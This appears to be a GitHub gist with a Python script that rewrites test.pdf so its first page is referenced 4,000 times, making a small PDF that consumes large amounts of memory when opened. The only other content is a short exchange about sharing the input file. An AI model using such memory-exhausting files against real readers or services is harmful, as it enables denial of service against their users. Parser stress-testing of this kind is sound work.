Skip to content

Instantly share code, notes, and snippets.

@coldwaterq
Last active August 13, 2024 18:06
Show Gist options
  • Select an option

  • Save coldwaterq/ff07dc8dd20cc484679db61f58511f84 to your computer and use it in GitHub Desktop.

Select an option

Save coldwaterq/ff07dc8dd20cc484679db61f58511f84 to your computer and use it in GitHub Desktop.
make a new pdf that repeats the first page of test.pdf 4000 times. Allowing for a file that is smaller but baloons to use a ton of memory
pdfcontent = open(r'test.pdf','rb').read()
loc = pdfcontent.index(b"\n2 0 obj\n<<")
loc = pdfcontent.index(b"[", loc)+2
loc2 = pdfcontent.index(b"R", loc)+2
page = pdfcontent[loc:loc2]
print(page)
pdfcontent = pdfcontent[:loc]+(page+b"\n")*4000+pdfcontent[loc2:]
countLoc = pdfcontent.index(b"\n/Count ")
endCountLoc = pdfcontent.index(b"\n",countLoc+1)
pdfcontent = pdfcontent[:countLoc]+pdfcontent[endCountLoc:]
open(r'test4.pdf','wb').write(pdfcontent)
@edmc-ss
Copy link
Copy Markdown

edmc-ss commented Jun 2, 2023

Could you please also publish test.pdf? This .py script makes direct references to a couple of things in it...

@coldwaterq
Copy link
Copy Markdown
Author

coldwaterq commented Aug 13, 2024

test.pdf renamed to test.gif so I could upload it

save that and rename it to test.pdf and you are set. gist doesn't let me upload *.pdf

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment